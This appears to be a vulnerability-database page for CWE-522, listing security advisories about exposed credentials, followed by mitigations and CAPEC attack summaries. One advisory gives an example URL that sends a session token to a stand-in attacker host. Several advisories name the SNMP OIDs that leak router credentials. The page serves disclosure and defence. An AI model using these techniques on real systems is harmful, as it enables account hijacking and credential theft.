CWE-522
Allowed-with-ReviewInsufficiently Protected Credentials
Abstraction: Class · Status: Incomplete
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
1814 vulnerabilities reference this CWE, most recent first.
GHSA-V45W-5Q6Q-X8CR
Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2022-07-13 00:00The Taidii Diibear Android application 2.4.0 and all its derivatives allow attackers to obtain user credentials from an Android backup because of insecure application configuration.
{
"affected": [],
"aliases": [
"CVE-2020-35454"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-17T15:15:00Z",
"severity": "MODERATE"
},
"details": "The Taidii Diibear Android application 2.4.0 and all its derivatives allow attackers to obtain user credentials from an Android backup because of insecure application configuration.",
"id": "GHSA-v45w-5q6q-x8cr",
"modified": "2022-07-13T00:00:51Z",
"published": "2022-05-24T17:44:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35454"
},
{
"type": "WEB",
"url": "https://github.com/galapogos/Taidii-Diibear-Vulnerabilities"
},
{
"type": "WEB",
"url": "https://play.google.com/store/apps/details?id=com.taidii.diibear\u0026hl=en_US\u0026gl=US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V4JV-X72W-CW2G
Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36GE Healthcare Imaging and Ultrasound Products may allow specific credentials to be exposed during transport over the network.
{
"affected": [],
"aliases": [
"CVE-2020-25175"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-14T17:15:00Z",
"severity": "CRITICAL"
},
"details": "GE Healthcare Imaging and Ultrasound Products may allow specific credentials to be exposed during transport over the network.",
"id": "GHSA-v4jv-x72w-cw2g",
"modified": "2022-05-24T17:36:17Z",
"published": "2022-05-24T17:36:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25175"
},
{
"type": "WEB",
"url": "https://us-cert.cisa.gov/ics/advisories/icsma-20-343-01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-V4PQ-9H29-FMJC
Vulnerability from github – Published: 2024-11-12 03:30 – Updated: 2024-11-12 03:30In SAP NetWeaver Java (Software Update Manager 1.1), under certain conditions when a software upgrade encounters errors, credentials are written in plaintext to a log file. An attacker with local access to the server, authenticated as a non-administrative user, can acquire the credentials from the logs. This leads to a high impact on confidentiality, with no impact on integrity or availability.
{
"affected": [],
"aliases": [
"CVE-2024-47588"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-12T01:15:04Z",
"severity": "MODERATE"
},
"details": "In SAP NetWeaver Java (Software Update Manager 1.1), under certain conditions when a software upgrade encounters errors, credentials are written in plaintext to a log file. An attacker with local access to the server, authenticated as a non-administrative user, can acquire the credentials from the logs. This leads to a high impact on confidentiality, with no impact on integrity or availability.",
"id": "GHSA-v4pq-9h29-fmjc",
"modified": "2024-11-12T03:30:47Z",
"published": "2024-11-12T03:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47588"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3522953"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V52W-54R2-QG83
Vulnerability from github – Published: 2022-05-13 01:06 – Updated: 2022-05-13 01:06ARRIS SBG6580-2 D30GW-SEAEAGLE-1.5.2.5-GA-00-NOSH devices allow remote attackers to discover credentials via iso.3.6.1.4.1.4491.2.4.1.1.6.1.1.0 and iso.3.6.1.4.1.4491.2.4.1.1.6.1.2.0 SNMP requests.
{
"affected": [],
"aliases": [
"CVE-2018-20386"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-23T21:29:00Z",
"severity": "CRITICAL"
},
"details": "ARRIS SBG6580-2 D30GW-SEAEAGLE-1.5.2.5-GA-00-NOSH devices allow remote attackers to discover credentials via iso.3.6.1.4.1.4491.2.4.1.1.6.1.1.0 and iso.3.6.1.4.1.4491.2.4.1.1.6.1.2.0 SNMP requests.",
"id": "GHSA-v52w-54r2-qg83",
"modified": "2022-05-13T01:06:01Z",
"published": "2022-05-13T01:06:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20386"
},
{
"type": "WEB",
"url": "https://github.com/ezelf/sensitivesOids/blob/master/oidpassswordleaks.csv"
},
{
"type": "WEB",
"url": "https://misteralfa-hack.blogspot.com/2018/12/stringbleed-y-ahora-que-passwords-leaks.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V538-H8WG-RJXF
Vulnerability from github – Published: 2022-05-13 01:51 – Updated: 2022-05-13 01:51CastleNet CBV38Z4EC 125.553mp1.39219mp1.899.007, CBV38Z4ECNIT 125.553mp1.39219mp1.899.005ITT, CBW383G4J 37.556mp5.008, and CBW38G4J 37.553mp1.008 devices allow remote attackers to discover credentials via iso.3.6.1.4.1.4491.2.4.1.1.6.1.1.0 and iso.3.6.1.4.1.4491.2.4.1.1.6.1.2.0 SNMP requests.
{
"affected": [],
"aliases": [
"CVE-2018-20385"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-23T21:29:00Z",
"severity": "CRITICAL"
},
"details": "CastleNet CBV38Z4EC 125.553mp1.39219mp1.899.007, CBV38Z4ECNIT 125.553mp1.39219mp1.899.005ITT, CBW383G4J 37.556mp5.008, and CBW38G4J 37.553mp1.008 devices allow remote attackers to discover credentials via iso.3.6.1.4.1.4491.2.4.1.1.6.1.1.0 and iso.3.6.1.4.1.4491.2.4.1.1.6.1.2.0 SNMP requests.",
"id": "GHSA-v538-h8wg-rjxf",
"modified": "2022-05-13T01:51:03Z",
"published": "2022-05-13T01:51:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20385"
},
{
"type": "WEB",
"url": "https://github.com/ezelf/sensitivesOids/blob/master/oidpassswordleaks.csv"
},
{
"type": "WEB",
"url": "https://misteralfa-hack.blogspot.com/2018/12/stringbleed-y-ahora-que-passwords-leaks.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V54H-CP2W-9X4G
Vulnerability from github – Published: 2026-07-06 21:07 – Updated: 2026-07-06 21:07Summary
coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.
Note: Practical exploitation requires the victim to run
coder open appagainst a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.
Impact
Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSION_TOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.
Patches
The fix applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend.
The fix was backported to all supported release lines:
| Release line | Patched version |
|---|---|
| 2.34 | v2.34.2 |
| 2.33 | v2.33.8 |
| 2.32 | v2.32.7 |
| 2.29 (ESR) | v2.29.17 |
Workarounds
Avoid running coder open app for untrusted workspaces.
Resources
- Fix: #26146
Credits
Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.34.0"
},
{
"fixed": "2.34.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.33.0"
},
{
"fixed": "2.33.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.30.0"
},
{
"fixed": "2.32.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.29.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55431"
],
"database_specific": {
"cwe_ids": [
"CWE-522",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T21:07:40Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user\u0027s real session token before handing the URL to the OS open handler.\n\n\u003e **Note:** Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.\n\n### Impact\n\nWorkspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Running `coder open app` then sends the user\u0027s session token to the attacker and enables full account impersonation for the token\u0027s lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run `coder open app` against a workspace that contains a malicious external app.\n\n### Patches\n\nThe fix applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend.\n\nThe fix was backported to all supported release lines:\n\n| Release line | Patched version |\n|---|---|\n| 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) |\n| 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) |\n| 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) |\n| 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) |\n\n### Workarounds\n\nAvoid running `coder open app` for untrusted workspaces.\n\n### Resources\n\n- Fix: #26146\n\n### Credits\n\nCoder would like to thank Anthropic\u0027s Security Team (ANT-2026-22457) for independently disclosing this issue!",
"id": "GHSA-v54h-cp2w-9x4g",
"modified": "2026-07-06T21:07:40Z",
"published": "2026-07-06T21:07:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coder/coder/security/advisories/GHSA-v54h-cp2w-9x4g"
},
{
"type": "WEB",
"url": "https://github.com/coder/coder/pull/26146"
},
{
"type": "PACKAGE",
"url": "https://github.com/coder/coder"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Coder\u0027s session token leaked to arbitrary hosts via `coder open app` for external workspace apps"
}
GHSA-V5JV-FP44-9R6H
Vulnerability from github – Published: 2022-04-23 00:40 – Updated: 2024-04-03 23:52Claws Mail vCalendar plugin: credentials exposed on interface
{
"affected": [],
"aliases": [
"CVE-2012-5527"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-11-25T14:15:00Z",
"severity": "MODERATE"
},
"details": "Claws Mail vCalendar plugin: credentials exposed on interface",
"id": "GHSA-v5jv-fp44-9r6h",
"modified": "2024-04-03T23:52:20Z",
"published": "2022-04-23T00:40:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-5527"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-5527"
},
{
"type": "WEB",
"url": "https://security-tracker.debian.org/tracker/CVE-2012-5527"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/11/28/10"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/11/28/8"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/11/28/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V5W7-QQ8J-4QFM
Vulnerability from github – Published: 2022-05-13 01:51 – Updated: 2022-05-13 01:51Bnmux BCW700J 5.20.7, BCW710J 5.30.6a, and BCW710J2 5.30.16 devices allow remote attackers to discover credentials via iso.3.6.1.4.1.4491.2.4.1.1.6.1.1.0 and iso.3.6.1.4.1.4491.2.4.1.1.6.1.2.0 SNMP requests.
{
"affected": [],
"aliases": [
"CVE-2018-20387"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-23T21:29:00Z",
"severity": "CRITICAL"
},
"details": "Bnmux BCW700J 5.20.7, BCW710J 5.30.6a, and BCW710J2 5.30.16 devices allow remote attackers to discover credentials via iso.3.6.1.4.1.4491.2.4.1.1.6.1.1.0 and iso.3.6.1.4.1.4491.2.4.1.1.6.1.2.0 SNMP requests.",
"id": "GHSA-v5w7-qq8j-4qfm",
"modified": "2022-05-13T01:51:01Z",
"published": "2022-05-13T01:51:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20387"
},
{
"type": "WEB",
"url": "https://github.com/ezelf/sensitivesOids/blob/master/oidpassswordleaks.csv"
},
{
"type": "WEB",
"url": "https://misteralfa-hack.blogspot.com/2018/12/stringbleed-y-ahora-que-passwords-leaks.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V5XW-5JG8-4Q3J
Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-07-31 00:00On systems running Arista EOS and CloudEOS with the affected release version, when using shared secret profiles the password configured for use by BiDirectional Forwarding Detection (BFD) will be leaked when displaying output over eAPI or other JSON outputs to other authenticated users on the device. The affected EOS Versions are: all releases in 4.22.x train, 4.23.9 and below releases in the 4.23.x train, 4.24.7 and below releases in the 4.24.x train, 4.25.4 and below releases in the 4.25.x train, 4.26.1 and below releases in the 4.26.x train
{
"affected": [],
"aliases": [
"CVE-2021-28496"
],
"database_specific": {
"cwe_ids": [
"CWE-311",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-21T17:15:00Z",
"severity": "MODERATE"
},
"details": "On systems running Arista EOS and CloudEOS with the affected release version, when using shared secret profiles the password configured for use by BiDirectional Forwarding Detection (BFD) will be leaked when displaying output over eAPI or other JSON outputs to other authenticated users on the device. The affected EOS Versions are: all releases in 4.22.x train, 4.23.9 and below releases in the 4.23.x train, 4.24.7 and below releases in the 4.24.x train, 4.25.4 and below releases in the 4.25.x train, 4.26.1 and below releases in the 4.26.x train",
"id": "GHSA-v5xw-5jg8-4q3j",
"modified": "2022-07-31T00:00:58Z",
"published": "2022-05-24T19:18:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28496"
},
{
"type": "WEB",
"url": "https://www.arista.com/en/support/advisories-notices/security-advisories/13243-security-advisory-0069"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V69H-C25Q-F3JF
Vulnerability from github – Published: 2026-03-05 18:31 – Updated: 2026-06-22 15:30Cleartext Transmission of Sensitive Information vulnerability in rustdesk-server-pro RustDesk Server Pro rustdesk-server-pro on Windows, MacOS, Linux (Address book sync API modules) allows Sniffing Attacks. This vulnerability is associated with program files Closed source — API endpoint handling heartbeat sync and program routines Heartbeat API handler (accepts preset-address-book-password in plaintext).
This issue affects RustDesk Server Pro: through 1.7.5.
{
"affected": [],
"aliases": [
"CVE-2026-30796"
],
"database_specific": {
"cwe_ids": [
"CWE-319",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-05T16:16:21Z",
"severity": "HIGH"
},
"details": "Cleartext Transmission of Sensitive Information vulnerability in rustdesk-server-pro RustDesk Server Pro rustdesk-server-pro on Windows, MacOS, Linux (Address book sync API modules) allows Sniffing Attacks. This vulnerability is associated with program files Closed source \u2014 API endpoint handling heartbeat sync and program routines Heartbeat API handler (accepts preset-address-book-password in plaintext).\n\nThis issue affects RustDesk Server Pro: through 1.7.5.",
"id": "GHSA-v69h-c25q-f3jf",
"modified": "2026-06-22T15:30:42Z",
"published": "2026-03-05T18:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30796"
},
{
"type": "WEB",
"url": "https://docs.google.com/document/d/e/2PACX-1vSds6jjpd38oO_yIAyd1HYtKNUuea-I-ozAPpGhYI7QgAU-QGJ7D8a4rOZVj1vmiUXV1EcdRHf9aZAW/pub"
},
{
"type": "WEB",
"url": "https://rustdesk.com/docs/en"
},
{
"type": "WEB",
"url": "https://www.vulsec.org"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Use an appropriate security mechanism to protect the credentials.
Mitigation
Make appropriate use of cryptography to protect the credentials.
Mitigation
Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CAPEC-102: Session Sidejacking
Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
CAPEC-474: Signature Spoofing by Key Theft
An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.
CAPEC-50: Password Recovery Exploitation
An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.
CAPEC-509: Kerberoasting
Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-555: Remote Services with Stolen Credentials
This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-561: Windows Admin Shares with Stolen Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-644: Use of Captured Hashes (Pass The Hash)
An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.
CAPEC-645: Use of Captured Tickets (Pass The Ticket)
An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.